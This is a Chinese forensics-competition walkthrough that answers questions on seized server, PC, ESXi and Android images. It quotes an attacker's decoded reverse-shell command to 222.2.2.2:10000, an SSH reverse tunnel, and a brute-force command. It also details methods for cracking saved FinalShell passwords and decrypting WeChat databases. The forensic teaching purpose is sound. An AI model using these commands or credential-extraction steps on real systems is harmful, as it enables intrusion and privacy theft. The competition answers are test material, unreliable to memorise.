赞
踩
多种思路解题
ac4e19b7b5bb3a65c36064f30b092d2f59e6ca920fbca060cb648f33a9d1947b
N:\\检材一\>certutil -hashfile N:\\检材一\\检材1.E01 sha256
SHA256 的 N:\\检材一\\检材1.E01 哈希:
**ac4e19b7b5bb3a65c36064f30b092d2f59e6ca920fbca060cb648f33a9d1947b**
CertUtil: -hashfile 命令成功完成。
3.10.0-514.el7.x86_64
[root@localhost \~]\# uname -a
Linux localhost.localdomain **3.10.0-514.el7.x86_64** \#1 SMP Tue Nov 22 16:42:41 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
也可以通过静态的方式查看
192.168.100.100
A. apache B.nginx C.mysql D.ssh
[root@localhost \~]\# netstat -ntlp Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name **tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN 2814/nginx: master** tcp 0 0 0.0.0.0:21 0.0.0.0:\* LISTEN 1656/pure-ftpd (SER tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2087/sshd tcp 0 0 0.0.0.0:8888 0.0.0.0:\* LISTEN 3201/python tcp 0 0 0.0.0.0:888 0.0.0.0:\* LISTEN 2814/nginx: master tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 3108/master tcp6 0 0 :::3306 :::\* LISTEN 2933/mysqld tcp6 0 0 :::21 :::\* LISTEN 1656/pure-ftpd (SER tcp6 0 0 :::22 :::\* LISTEN 2087/sshd tcp6 0 0 ::1:25 :::\* LISTEN 3108/master
A.5.6.50 B.5.7.50 C.5.6.49 D.8.0.0
[root@localhost \~]\# mysql -V
mysql Ver 14.14 Distrib 5.6.50, for Linux (x86_64) using EditLine wrapper
[root@localhost \~]\#
A.httpd.conf B.my.ini C.nginx.conf D.www.tjshop.com.conf
宝塔面板,绑定本地IP和端口后,依次打开四个网站,只有第三个是商城网站
然后在网站的设置里面,查看配置文件,里面有网站的配置文件名称www.tjshop.com.conf
A.tj2021 B.tj2022 C.tj2023 D. tj2024
40eca8bea9
A.3 B.4 C.5 D.6
tcpdump_tj.cap
通过历史命令查看,既然抓包,那么肯定跟网卡ens33有关
[root@localhost \~]\# history \| grep ens33
26 sudo tcpdump -i ens33 -w \~/tcpdump.cap
129 history \| grep ens33
[root@localhost \~]\#
后来在做11题的时候,并没有检索到名称为tcpdump.cap的数据包,
进一步用find命令进行模糊搜索,注意表达式要加引号
[root@localhost \~]\# find / -iname "\*.cap"
/root/tcpdump_tj.cap
/root/tcpdump2_tj.cap
[root@localhost \~]\#
使用模糊查询的方法在/root/目录下查询到两个cap数据包,用wireshark依次进行查看
A.awvs B.goon C.御剑 D.wwwscan
依次在数据包中检索四个选项,只有B项被检索到,ABC项均无结果
www.tpshop.com
对上题流量包进行分析,分析执行的命令,发现执行过程序goon2_lin
在检材一中,使用find命令进行检索,
[root@localhost \~]\# find / -iname goon2_lin
/www/wwwroot/www.tpshop.com/application/goon2_lin
[root@localhost \~]\#
发现该程序文件在网站www.tpshop.com的application目录下面
由此推测被入侵的网站是www.tpshop.com
TPSHOP
首先要打开后台首页
因为我本地的IP是192.168.182.253,所以我前台URL是http://192.168.182.253:13003/
前台打开成功后,在url后面加上index.php/admin,跳转到了后台首页
输入错误的账号密码,正确的验证码,测试出报错信息为“账号密码不正确!”
在源代码中检索该报错信息,没有结果,去掉后面的叹号,找到了结果
分析源代码,定位到加密函数encrypt,按住crtl,点击该函数实现跳转
发现加密盐值是一个常量,全局搜索AUTH_CODE,在config.php中周到常量的值为TPSHOP
A.222.2.2.1 B.192.168.100.100 C.192.168.100.101 D.222.2.2.2
根据11题和12题结果,发现对检材一服务器192.168.100.100进行扫描的IP是222.2.2.2
在wireshark的会话统计中也可以看到
A.Fri Mar 04 2022 15:24:29 GMT+0800 (China Standard Time)
B.Fri Mar 04 2022 15:14:32 GMT+0800 (China Standard Time)
C.Fri Mar 04 2022 15:15:13 GMT+0800 (China Standard Time)
D.Sat Mar 05 2022 15:14:30 GMT+0800 (China Standard Time)
根据一句话木马的特点,在全局中搜索关键字@eval。注意如果只搜eval,会搜到很多结果。
FastPwds.txt
在流量数据包中通过正则表达式进行检索
因为是字典,所以参数可能是-password,并且后缀可能是.txt
所以构造正则表达式-password.+[\.]txt。检索后,结果只有一个
A、ssh root@222.2.2.2 -p 33333
B、unzip PwnKit-Exploit-main.zip
C、./goon2_lin -ip 192.168.100.254 -mode rdp -user administrator -pfile FastPwds.txt
D、./goon2_lin -ip 192.168.100.253 -mode rdp -user administrator -pfile FastPwds.txt
分析上题检索到的数据分组,可以发现爆破的命令如下:
A.bash B.telnet C.exec D.ssh
查看检材一历史命令,依次检索ABCD选项内容
[root@localhost wwwroot]# history | grep telnet
139 history | grep telnet
[root@localhost wwwroot]# history | grep exec
140 history| grep exec
[root@localhost wwwroot]# history | grep bash
11 bash update.sh
141 history | grep bash
ABC选项都没有,
看到一条命令ssh -CgfNR 0.0.0.0:22222:192.168.100.254:3389 root@222.2.2.2 -p33333
具体解释如下:
ssh: SSH命令的关键字,用于启动SSH客户端。
-C: 启用数据压缩,以提高传输效率。
-g: 允许远程主机连接到本地端口转发的服务。
-f: 在后台运行SSH会话。
-N: 不执行远程命令,仅用于端口转发。
-R 0.0.0.0:22222:192.168.100.254:3389: 将本地主机的22222端口映射到远程主机的192.168.100.254的3389端口。这意味着当有连接发送到本地主机的22222端口时,SSH会将其转发到远程主机的192.168.100.254的3389端口。
root@222.2.2.2: 远程主机的用户名和IP地址。在此示例中,用户名为root,IP地址为222.2.2.2。
-p33333: 指定SSH服务器的端口号为33333。默认情况下,SSH使用22号端口进行连接。
综上所述,该命令的含义是:在本地主机上启动一个SSH会话,将本地主机的22222端口映射到远程主机的192.168.100.254的3389端口,并通过SSH连接到远程主机的IP地址为222.2.2.2,使用用户名root,并指定SSH服务器的端口号为33333。这样可以在本地主机上通过访问本地的22222端口来实现对远程主机的3389端口的访问。
所以本题选择D
A.22222 B.11111 C.22 D.8888
如上题选择A
A.10000 B.8888 C.888 D.9999
使用显示过滤器进行过滤
http.request.method == "POST" && ip.src==222.2.2.2&&ip.dst==192.168.100.100
过滤完成过后,只有50个分组,依次点开查看
发现很多数据分组中都传递了变量名为beeab73645c2ac的变量,但是每个分组前两个字符不同,其余都相同,而相同的字符串像是base 64编码,把该字符串进行base 64转码
转码后的命令的含义:
这个命令包含三个部分,每一部分都是一个独立的命令,用分号;将它们连接起来。
第一部分:cd “/www/wwwroot/www.tpshop.com/application”;
这个命令的作用是切换当前工作目录到/www/wwwroot/www.tpshop.com/application目录下。其中,cd命令用于切换目录,后面的路径"/www/wwwroot/www.tpshop.com/application"是要切换到的目标目录。
第二部分:bash -i>& /dev/tcp/222.2.2.2/10000 >&1;
这个命令的目的是建立一个反向TCP连接,将一个Bash shell会话连接到远程主机上。具体操作是:
bash -i: 启动一个交互式的Bash shell。
>& /dev/tcp/222.2.2.2/10000: 将Bash的标准输入和标准输出重定向到TCP连接到222.2.2.2主机的10000端口。这样,本地机器的Bash shell就会和远程主机的10000端口建立连接,并通过这个通道进行输入和输出。
>&1;: 将标准错误也重定向到标准输出,这样所有的输出都会被发送到TCP连接中。
第三部分:echo 9f7dd; pwd; echo dea75af74315
这个命令包含了三个子命令:
echo 9f7dd: 输出字符串9f7dd。
pwd: 输出当前工作目录的路径。
echo dea75af74315: 输出字符串dea75af74315。
综上所述,这个命令的作用是先切换当前工作目录到/www/wwwroot/www.tpshop.com/application目录下,然后在该目录下启动一个交互式的Bash shell,并将输入和输出重定向到远程主机的222.2.2.2:10000端口,最后输出三个字符串分别是9f7dd、当前工作目录、dea75af74315。
综上,该题选择A,该题的关键是如何对数据分组进行过滤
4e3bb1bda65d1342af163daf5e176fbf7af6069b
M:\\检材二\>certutil -hashfile M:\\检材二\\检材2.E01 sha1
SHA1 的 M:\\检材二\\检材2.E01 哈希:
4e3bb1bda65d1342af163daf5e176fbf7af6069b
CertUtil: -hashfile 命令成功完成。
A.1606 B.1607 C.1608 D.1609
使用X-ways加载磁盘镜像,在专业工具中将镜像转换成磁盘,打开分区4
在\Windows\System32\config目录下有个SOFTWARE文件,右击打开,X-ways可以直接打开注册表文件
在SOFTWARE\Microsoft\Windows NT\CurrentVersion下面有个变量为ReleaseId,变量值为1607
方法二,仿真起来后,在cmd窗口输入winver即可查看
A.Thu Mar 03 2022 18:14:54 GMT+0800 (China Standard Time)
B.Fri Mar 04 2022 18:15:37 GMT+0800 (China Standard Time)
C.Fri Mar 04 2022 18:24:54 GMT+0800 (China Standard Time)
D.Fri Mar 04 2022 18:14:55 GMT+0800 (China Standard Time)
通过X-ways,在\Windows\System32\winevt\Logs目录找到安全日志文件Security.evtx
X-ways无法直接打开evtx的文件,导出到本地后,直接双击,调用本地的事件查看器查看
全局搜索192.168.100.100,找到答案
Cse19981228
仿真起来后,找到finalshell的安装目录
在连接日志中找到密码的密文字符串
Cmd命令行调用破解finalshell密码的java脚本进行破解:
D:\\FreeSoftware\\脚本\\破解finalshell密码脚本\>java 123.java MQt2fCF4AS2lvL8xlKl0wREOXVQzLNb6
Cse19981228
A.xftp B.xshell C.putty D.finalshell
A.Cipher.exe B.Ccleaner C.Eraser D.Disk Wipe
A.1 B.2 C.3 D.4
在Windows系统中,您可以使用以下方法查看开机自启动的程序:
3.注册表编辑器(regedit):按下Win + R组合键打开运行窗口,输入"regedit"并按下Enter键,打开注册表编辑器。导航到以下路径:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run和HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run。在这些路径下,您将找到开机自启动的程序的条目。
注意X-ways中查找自启动项的两个路径:
一个是:SOFTWARE(ROOT)\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
一个是:SOFTWARE(ROOT)\Microsoft\Windows\CurrentVersion\Run
另外也可以仿真起来后查看:按下Win + R组合键打开运行窗口,输入"regedit"并按下Enter键,打开注册表编辑器
A.UTC B.GMT C.DST D.EST
在system注册表中查看,位置为
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TimeZoneInformation
“TimeZoneKeyName"值为"China Standard Time"表示Windows Server 2016系统中使用的时区键名为"China Standard Time”。时区键名是一个唯一的标识符,用于标识系统中可用的时区。
在Windows系统中,每个时区都有一个唯一的键名,它由多个单词组成,用空格分隔。"China Standard Time"键名表示中国标准时间(UTC+8),这是中国大陆、香港、澳门和台湾等地区使用的标准时间。在Windows系统中,该时区包括北京、重庆、上海、天津等城市。
以下是与时区和时间相关的常见缩写和它们的含义:
UTC:协调世界时(Coordinated Universal Time),也被称为世界标准时间。UTC是一种基于原子钟的时间标准,被广泛用作全球统一的时间参考。其他时区可以通过与UTC的偏差来表示。
GMT:格林尼治标准时间(Greenwich Mean Time)。GMT起源于英国伦敦格林尼治天文台的平均太阳时,通常与UTC被认为是等同的。然而,从1972年开始,UTC逐渐取代了GMT成为国际上的时间标准。
DST:夏令时(Daylight Saving Time),也称为日光节约时间或夏季时间。夏令时是一种在某些地区将钟表调快一小时的做法,旨在利用光照更充足的夏季时期,延长白天的可利用时间。
EST:东部标准时间(Eastern Standard Time)。EST是北美东部地区使用的标准时间,通常指UTC-5的时区。涵盖的地区包括美国东部、加拿大东部以及一些中美洲和南美洲的国家。
encrypt_file.exe
通过X-ways,在检材2.E01/分区4/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/History路径下导出历史记录文件History
使用数据库查看软件DB Browser for SQLite打开History文件
在download数据表中,可以看到下载记录
排除前两个,只有第三个可能是勒索病毒文件
http://192.168.100.100/public/upload/encrypt_file.exe
同样在该数据表中,tab_url列中有下载连接
A.doc B.jpg C.png D.txt
在C:\Users\Administrator\Downloads\目录下并未找到文件encrypt_file.exe,所以怀疑文件被重命名
全局搜索关键字encrypt_file.exe
首先,Xways打开案件数据窗口
然后,右击分区4,选择添加至当前活动的案件
然后,在案件数据窗口,右击分区4,选择浏览递归
然后使用过滤功能,过滤关键字encrypt_file.exe,注意使用模糊查询的话,两边要加上星号*,如下
过滤出疑似的文件tj_encrypt_file.exe.exe
导出该文件,计算哈希值为6a1b71c09f7c71493df484ff1f9843f1
使用DIE进行分析,发现该程序使用Pyinstaller打包的
因此可以用pyinstxtractor实现逆向
D:\\FreeSoftware\\脚本\\Python反编译\>python D:\\FreeSoftware\\脚本\\Python反编译\\pyinstxtractor.py C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe D:\\FreeSoftware\\脚本\\Python反编译\\pyinstxtractor.py:86: DeprecationWarning: the imp module is deprecated in favour of importlib and slated for removal in Python 3.12; see the module's documentation for alternative uses import imp [\*] Processing C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe [\*] Pyinstaller version: 2.1+ [\*] Python version: 307 [\*] Length of package: 5609283 bytes [\*] Found 58 files in CArchive [\*] Beginning extraction...please standby [+] Possible entry point: pyiboot01_bootstrap [+] Possible entry point: pyi_rth_subprocess [+] Possible entry point: encrypt_file [!] Warning: The script is running in a different python version than the one used to build the executable Run this script in Python307 to prevent extraction errors(if any) during unmarshalling [\*] Found 117 files in PYZ archive [\*] Successfully extracted pyinstaller archive: C:\\Users\\renfe\\Desktop\\fupan\\财务\\tj_encrypt_file.exe.exe You can now use a python decompiler on the pyc files within the extracted directory D:\\FreeSoftware\\脚本\\Python反编译\>
反编译后的结果如下:
由以上结果可以看出,原始的编译环境是python37
复制struct文件的前16字节,插入到encrypt_file文件的起始位置,并将encrypt_file文件更名为encrypt_file.pyc
本地python环境切换为python3.7,
(base) PS C:\\Users\\renfe\> activate ceshi
(base) PS C:\\Users\\renfe\> conda activate ceshi
(ceshi) PS C:\\Users\\renfe\> cd D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted
(ceshi) PS D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted\> uncompyle6 -o ok.py D:\\FreeSoftware\\脚本\\Python反编译\\tj_encrypt_file.exe.exe_extracted\\encrypt_file.pyc
执行完毕后,会在tj_encrypt_file.exe.exe_extracted目录下增加一个ok.py文件,可以用vscode直接打开看源代码,如下
由此可见,该文件可以加密的文件由txt doc jpg png
70012023
此题需要运行后面的病毒研发机,在桌面有个code文件夹,其中有解密程序“decrypt_file_.rar”
通过x-ways直接将解密程序和密钥导出来
将文件解压出来后,与加密后的文件放在一个目录下面,双击运行decrypt_file.exe,则自动解压销售额.txt,内容位70012023
tj.exe
在财务文件夹中发现文件tj.exe,疑似木马程序,虚拟机中运行后,被识别为病毒文件
A注册表 B.计划任务 C.服务 D.脚本
根据第27题分析的结果,该题选A
tj.json
该木马程序,无法在XP虚拟机内运行,因为其是64为程序,需要至少在64位系统运行
启动win10虚拟机,运行process Monitor
记得先给虚拟机做快照
运行tj.exe
然后再processMonitor中设置过滤条件
导出位csv格式的文件,在本地电脑打开
可以看到释放的配置文件位tj.json
在C:\Users\Administrator\AppData\Local\Temp路径下找到tj.json文件
{ "protocol":"http", "user": "tj2023", "query": "/upload_data", "tag_data": "d4be5c472883d34de2cb1ea1b5ece91c", "crypt": "AES_CBC_Zeropadding_128bits", "key": "dGpfaG9uZ2xpYW4xMjM0NQ==", "IV": "123456789 ", "device_id": "conputerone_ks2", "_": "kiss19915", "sign": "123456789 ", "timeto": "2021-2030", "mark": "done\~\~", "node": "honglian_network" }
查看tj.json文件内容,确定为配置文件
tj.dll
在导出的csv进程文件中,可以看到dll模块文件名为tj.dll
A.4 B.5 C.3 D.6
虚拟机中启动木马程序后,在Process Explorer中进行检索
选择菜单栏选择Find Find Handle or DLL…
然后搜索关键字tj.dll,一共检索到4条结果
tj2023
{ "protocol":"http", "user": "tj2023", "query": "/upload_data", "tag_data": "d4be5c472883d34de2cb1ea1b5ece91c", "crypt": "AES_CBC_Zeropadding_128bits", "key": "dGpfaG9uZ2xpYW4xMjM0NQ==", "IV": "123456789 ", "device_id": "conputerone_ks2", "_": "kiss19915", "sign": "123456789 ", "timeto": "2021-2030", "mark": "done\~\~", "node": "honglian_network" }
根据35题,我们知道配置文件tj.json的内容
其中有user字段内容
tj_honglian12345
上题中变量key的内容疑似base64编码,使用Cyperchef进行解码
tj20237001
根据上题的key值,以及偏移量,进行解密,如下:
6.7.0
8169922
http://222.2.2.250/ui/#/login
注意要新建一个222.2.2.*网段的虚拟网卡,用仅主机模式,并将虚拟机的网卡切换到新网卡
地址栏直接输入222.2.2.250,会直接跳转到http://222.2.2.250/ui/#/login
A.2 B.3 C.4 D.5
用户名为root
密码为!Honglian7001 在《附件1.服务器信息台账.docx》里面,登录之后如下:
点击左侧虚拟机,可以看到有四台虚拟机,但是都是无效状态,当启动检材四后,状态改为正常
这里需要注意,ESXi系统不能绕密,火眼仿真时需要把“智能推荐”功能关闭
如果强制绕密,vmware仿真软件可能会破坏原始密码,导致用原始密码和“123456”都无法登录系统
NFS是一种用于在网络上共享文件系统的协议,它允许多台计算机通过网络访问和共享存储设备上的文件。
仿真运行检材四
查看历史命令,发现程序在多出调用了/etc/exports文件
导出该文件后进行查看,发现存有一条命令,看起来像是一个NFS(Network File System)的配置命令。
/nfs 222.2.2.0/24(rw,no_root_squash,async,fsid=0)
具体含义如下:
/nfs: 这是NFS服务器上要共享的目录路径。
222.2.2.0/24: 这是一个IP地址段,表示允许来自该网段内的计算机访问共享目录。
(rw,no_root_squash,async,fsid=0): 这是一些NFS的选项设置。
rw表示允许对共享目录进行读写访问。
no_root_squash表示允许以root身份访问共享目录,而不降低权限。
async表示以异步方式处理客户端请求,即不等待数据写入到磁盘再返回响应。
fsid=0表示将共享目录的文件系统标识(File System Identifier)设置为0。
总结起来,这个命令的意思是将/nfs目录路径下的文件系统以读写方式共享给IP地址段为222.2.2.0/24的计算机,同时允许root用户访问,并以异步方式处理请求。
/vmfs/volumes/9af41fd8-941fbcd0
1
A.1 B.2 C.3 D.4
使用X-ways,通过浏览递归+文件过滤,功能,筛选出渗透测试机的虚拟机文件,
方法一:右键导出,仿真查看,或者用x-ways查看
方法二(推荐):直接右键,选择第三个“打开”功能,然后将镜像转换成磁盘查看
在/etc/crontab文件中存储着定时任务,直接右键用查看器查看,发现有四个定时任务
A. root B.kali C.hostname D.sudo
Linux系统的主机名通常存储在/etc/hostname文件中
A.LiqunKit B.SQLmap C.thinkPHPGUI D.XSS
将检材三和检材四全部仿真启动,并且全部配置仅主机模式、222.2.2网段的网卡
此时在ESXi系统的虚拟机选项卡中,可以看到四台虚拟机(如果不启动检材四esxi_nfs.E01,这里是看不到四台虚拟机的,esxi_nfs.E01镜像相当于ESXi系统的存储)
点击其中的渗透测试机,进入虚拟机管理界面,点击启动,有可能会提示错误,无法启动虚拟机,如下:
这是因为,虚拟机的处理器设置中,没有开启虚拟化功能
然后修改虚拟机设置,把处理器中的“Intel VT-x/EPT 或 AMD-V/RVI(V)”勾选,结果仿真失败,一开始提示“此平台不支持虚拟化的Intel VT-x/EPT。不使用虚拟化的Intel VT-x/EPT,是否继续?”
点击是后,提示错误1 “VMware Workstation在此主机上不支持嵌套虚拟化。模块“HV”启动失败。已为此ESX虚拟机禁用虚拟化Intel VT-x/EPT。您将无法运行嵌套虚拟机。未能启动虚拟机。”
错误1 截图
在处理器设置中,把三个功能都选上,提示错误2“VMware Workstation不支持在此主机上使用虚拟化性能计数器。有关更多详细信息,请参阅VMware知识库文章81623,网址为https://kb.vmware.com/s/article/81623。模块“VPMC”启动失败。”:
错误2 截图
将虚拟机的处理器数量增加为2,还是提示错误2
当把虚拟机的处理器数量设置为2,并且只勾选第一项“Intel VT-x/EPT 或 AMD-V/RVI(V)”时,提示错误1。
关机进入BIOS模式,查看虚拟化设置,显示虚拟化功能都已开启。
最后的解决办法https://blog.csdn.net/m0_62571257/article/details/124102636
原因分析:
不要同时开启hyper-V和VMware虚拟机软件,两者只能选择其一来使用,要用VMware虚拟机就必须关闭hyper-V 。
解决方案:
开始菜单.上右键选择“Windows PowerShell (管理员)
输入bcdedit /set hypervisorlaunchtype off
回车后,记得需要重启才算真正生效!
等重启后,VMware虚拟机使用就没问题了!
打开渗透测试及电源,然后打开浏览器控制台
查看历史命令
发现用户下载安装了蚁剑和thinkPHPGUI,但是选项中没有蚁剑,选择thinkPHPGUI
从以上历史命令也可以看出,用户在执行完ThinkphpGUI后,接着切换到下载目录,接着执行goo2_lin工具。
192.168.200.1
ip root命令
http://192.168.200.201/zhaohong/vir_project
提交代码一般是通过浏览器,我们尝试去查看病毒研发机的浏览器历史记录
启动病毒研发机虚拟机,运行桌面上的谷歌浏览器,查看历史记录,可以找到gitlab的提交地址
需要注意,浏览器关闭再打开时,历史记录会被自动清空
honglian7001
在浏览器设置里面,点击自动填充,可以看到已保存的密码,
A.7601 B.7602 C.7603 D.7600
X-ways打开检材四,通过递归浏览过滤出病毒虚拟机文件,并通过磁盘界面打开病毒研发虚拟机
在虚拟机中找到SOFTWARE注册表文件,通过x-ways打开,在注册表的\SOFTWARE\Microsoft\Windows NT\CurrentVersion位置找到操作系统内部版本号为7601
服务启动程序.exe
病毒研发机启动后,会自动运行一个名称为“弘连比武-WEB专用启动器-赵弘开发”的应用程序,疑似网站服务启动程序
打开任务管理器,右键该应用程序,转到进程
在进程界面中,右击相应进程选择打开文件位置
在弹出的界面中,找到对应的启动程序
A.thinkphp B.springboot C.nodejs D.vue
接上题,在C:\www路径下,找到对应jar文件,通过Git Bash运行启动应用程序
java -jar application-0.0.1-SNAPSHOT.jar
123456
通过X-ways,把application-0.0.1-SNAPSHOT.jar文件下载到本地,使用jd-gui打开查看
A. SHA1 B.DES C.MD5 D.AES
查看病毒研发机IP地址为192.168.200.20
浏览器输入IP地址,进入系统后台页面,随便输入账号密码,弹出报错信息
搜索关键字“用户名或者密码输入错误,请重新输入!”
源代码中检索到具体位置
分析代码调用逻辑,代码调用了一种标准加密函数MessageDigestPasswordEncoder(“MD5”)
可知,加密方式为MD5
1.09
计算密码adminadmin,盐值123456的密文,注意密码不能小于6位,否则会无法通过前端长度验证
{123456}+MD5(adminadmin{123456}) = {123456}06870dcb9d663ab31dbb8c72f0d6c206
登录成功后,点击左侧控制台数据
admin_honglian
系统中只找到一个APPID
A.3.10.0 B.3.10.1 C.7.5.1804 D.7.5.1805
直接在x-ways里面查看
openwrt&wireguard虚拟机启动后,查看其IP地址为222.2.2.2
注意直接输如ifconfig可能显示不全,需要输入ifconfig | more 按空格换页
本机浏览器地址栏输入IP地址,直接跳转到后台url:http://222.2.2.2/cgi-bin/luci/
5.4.154
通过uanme -r
或者uname -a
或者cat /proc/version
命令都可以看到内核版本,为5.4.154
但是该服务器原始镜像,无法静态查看器目录结构,
openwrt的系统使用root账户直接登录就可以进去,因为没有密码
A.WireGuard VPN B.NGINX C.ssl D.IPSEC
查看网络接口,里面有个WireGuard VPN
A.22 B.20 C.12345 D.8888
点击上题界面中的编辑,可以看到监听的端口为12345
0DydALVvHHU1n+lHpVvaXqayllePKqsPRBbcVcBHLXE=
在上题界面中点击对端,可以看到公钥
99001210695443
存储MEID号的文件的路径为 /user_de/0/com.android.phone/shared_prefs
wxid_qcz3701g92f022
首先要了解微信的数据文件及路径
**image2 文件夹:存放所有微信聊天图片,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/image2**
**voice2 文件夹:存放所有微信语音,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/voice2**
**voide 文件夹:存放所有微信视频,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/voide**
**avatar 文件夹:存放所有微信头像,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/avatar**
**Download 文件夹:存放微信聊天发送的文件,路径:/data/data/com.tencent.mm/MicroMsg/Download**
**EnMicroMsg.db: 微信数据库文件,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/EnMicroMsg.db**
**WxFileIndex.db: 微信文件索引数据库文件,路径:/data/data/com.tencent.mm/MicroMsg/[32位字母]/WxFileIndex.db**
EnMicroMsg.db 和 WxFileIndex.db 均被加密,需获取秘钥解密:
获取秘钥:使用 MD5(IMEI+uin) 取前7位作为访问密码。若为大写字母需转换为小写。拼接时不需使用+号。IMEI为手机IMEI码,在手机设置中可查。新版微信使用1234567890ABCDEF代替IMEI
获取uin:访问 /data/data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml。
根据上图可知微信加密用的UIN是8位阿拉伯数字59546496
**MD5(IMEI+uin) = MD5(**1234567890ABCDEF +59546496) = 5ae45c15d8b415b994c24f1b8a8b8f1b
取前7位得到微信数据库的加密密钥5ae45c1
首先下载解密软件:sqlcipher2.1_sqlcipher资源-CSDN文库 双击运行
然后在/data/com.tencent.mm/MicroMsg/ e770fe148f8bb468ebf8abf505a9b167/EnMicroMsg.db导出加密数据库文件EnMicroMsg.db
将EnMicroMsg.db文件直接拖入SQLite Database Browser(SQLCiper Version2.1)中,输入微信数据库密码5ae45c1,点击OK,如下
接着就打开了数据库,如下图
1 | userinfo 表 | 存储个人信息。id为2的value是个人微信ID。 |
---|---|---|
2 | message 表 | 存储所有聊天记录 |
3 | chatroom 表 | 存储群聊信息 |
4 | img_flag 表 | 存储在线头像信息。若本地avatar文件夹无头像,可使用此表地址访问头像。reserved2为缩略图,reserved1为高清图 |
5 | rcontact 表 | 存放好友信息 |
在message表中,`
type`字段表示消息类型,包括:
1:文本** 3:图片** 34:语音** 43:视频** 47:大表情** 49:分享卡片** 1000:撤回消息提醒** 436207665:红包** 419430449:转账** 1090519089:文件**
媒体类型消息(如图片、语音、视频等)可通过msgId字段在WxFileIndex.db的WxFileIndex3表中找到对应文件路径。
图片地址:
缩略图:message表中imgPath字段值(如:THUMBNAIL_DIRPATH://th_5a24c5d362dae72b0ad52d78767ba883)指向image2文件夹中对应文件。
原图:发送图片和接收图片有不同的拼接规则。
视频地址:通过message表的imgPath在video文件夹中找到对应视频。封面.jpg,视频.mp4。
语音地址:message表的imgPath字段经MD5加密后,前4字母表示两级文件夹,文件名格式为msg_imgPath值.amr。
文件地址:发送文件存于/sdcard/Android/data/com.tencent.mm/MicroMsg/Download,通过msgId在WxFileIndex3表中查找路径。
本地头像:avatar文件夹中,微信ID经MD5加密后前4字母表示两级文件夹,格式为user_md5字符串.png。
微信语音使用SILK v3编码,需用silk-v3-decoder进行解码。安装GCC、ffmpeg等工具后进行转码。转码完成后,需将语音文件地址后缀改为转码后的格式(如.mp3)。
在userinfo表中找到微信账号“开源账房”的内部ID号wxid_qcz3701g92f022,如下图
X-ways打开镜像文件,定位到目录/data/com.oray.sunlogin/databases
同时导出下图中选中的三个文件,(如果只导出db文件,看不到数据)
然后用SQLiteStudio或者DBBrowserforSQLite打开其中的com_oray_sunlogin_account.db文件,可以看到手机号
注意,DBBrowserforSQLite关闭后,会自动将db-shm和db-wal文件合并到db文件中,SQLiteStudio没有该功能。
1688856484511900
注意企业微信的报名为com.tencent.wework,到该目录下去寻找答案
在\data\com.tencent.wework\app_data\Profiles\B1BAE2879B210815AFAA6B5EAF783EE2\目录下导出conv_snapshot文件
VScode打开查看
ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f
在/system目录下导出package.xml文件,用相关联的程序打开
全局搜索demo.honglian,找到app安装目录/data/app/demo.honglian-mpZYIiiXkYv8zw0q2rqA5Q==
切换到相应目录,
导出base.apk文件,用certutil命令计算哈希值ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f
C:\\Users\\renfe\\Desktop\\fupan\>certutil -hashfile C:\\Users\\renfe\\Desktop\\fupan\\base.apk sha256**
SHA256 的 C:\\Users\\renfe\\Desktop\\fupan\\base.apk 哈希:**
ab70c58c24f8ffd8a9d6322216c7fd3f185373365c11ff3bf4d2543e2253ce7f**
CertUtil: -hashfile 命令成功完成。**
C:\\Users\\renfe\\Desktop\\fupan\>**
是 否
A.SHA256-RSA B.SHA1-RSA C.MD5-RSA D.CRC32-RSA
A.honglian B.弘连网络 C.HongLian D.tj
第一步找到程序入口demo.honglian.ActivityC0008rg_n
第二步,分析入口函数
根据转码后的信息和判断逻辑,可知
只有表达式
!rg_n39294.equals(“a45fc1619fcf4d”) || !rg_n392942.equals(“a45fc132cb901741”)
为否的情况下才会登录成功
那么,也就是运算符||左右都为否才为否,也就是
rg_n39294.equals(“a45fc1619fcf4d”)为真且rg_n392942.equals(“a45fc132cb901741”)为真
查看rg_n39294和rg_n392942的赋值语句,可知rg_n39294与用户账号有关
进一步分析其赋值语句
String rg_n39294 = C0000rg_n39291.rg_n39294(C0076rg_n32354.rg_n32434(String.valueOf(this.rg_n7.GetTextView().getText()).getBytes(), "zhaohong".getBytes()), false);
在以上这句话中,调用了类C0000rg_n39291的方法rg_n39294,
源码为
package anZhuo.MoMingMoKuai.ShuZuLeiXing; /\* renamed from: anZhuo.MoMingMoKuai.ShuZuLeiXing.rg_n39291 reason: case insensitive filesystem \*/ public class C0000rg_n39291 { public static String rg_n39294(byte[] bArr, boolean z) { if (bArr == null \|\| bArr.length == 0) { return ""; } String str = ""; int i = 0; while (i \< bArr.length) { String hexString = Integer.toHexString(bArr[i] & 255); i++; str = hexString.length() == 1 ? str + "0" + hexString : str + hexString; } return z ? str.toUpperCase() : str.toLowerCase(); } }
这段 Java 代码实现了将字节数组转换为十六进制字符串的功能。方法 rg_n39294 接受一个字节数组 bArr 和一个布尔值 z 作为参数,并返回一个字符串。
rg_n39294的赋值语句又进一步调用了C0076rg_n32354.rg_n32434方法,
第一个参数为String.valueOf(this.rg_n7.GetTextView().getText()).getBytes()
第二个参数为"zhaohong".getBytes()
第一个参数很明显为用户输入的用户账户,
根据RC4Base方法代码,第二个参数应该是RC4加密算法的key值
